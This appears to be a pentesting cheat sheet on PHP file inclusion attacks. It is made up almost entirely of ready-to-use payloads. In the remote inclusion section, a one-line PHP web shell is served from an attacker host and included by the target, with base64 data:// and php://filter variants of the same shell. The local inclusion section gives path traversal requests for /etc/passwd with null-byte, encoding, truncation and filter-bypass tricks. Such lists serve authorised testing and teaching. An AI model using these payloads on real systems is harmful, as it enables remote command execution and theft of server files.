File Inclusion

Remote File Inclusion (RFI)

If we find a way to include a remote file, we could try to include php code to execute commands on the host

http://10.10.10.10/index.php?page=http://<attacker>/shell.txt

We could serve a malicious PHP code so that the host interprets it.

echo '<?php system($_GET["cmd"]);?>' > shell.txt
python3 -m http.server 80
curl 'http://10.10.10.10/index.php?page=http://<attacker>/shell.txt&cmd=<comand>'

If the server were blocking access to external resources, we could try using the data:// wrapper to inject PHP code as base64.

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K

php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K

Local File Inclusion (LFI)

Absolute Path

http://10.10.10.10/index.php?page=/etc/passwd

Relative Path Traversal

http://10.10.10.10/index.php?page=../../../etc/passwd

Null Byte

http://10.10.10.10/index.php?page=../../../etc/passwd%00

Encoding

http://10.10.10.10/index.php?page=%252e%252e%252fetc%252fpasswd
http://10.10.10.10/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Absolute Path

http://10.10.10.10/index.php?page=/etc/passwd

Truncation

http://10.10.10.10/index.php?page=../../../etc/passwd......[ADD MORE]
http://10.10.10.10/index.php?page=../../../[ADD MORE]../../../etc/passwd

Filtered characters

http://10.10.10.10/index.php?page=....//....//....//etc/passwd

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion https://book.hacktricks.xyz/pentesting-web/file-inclusion

Last updated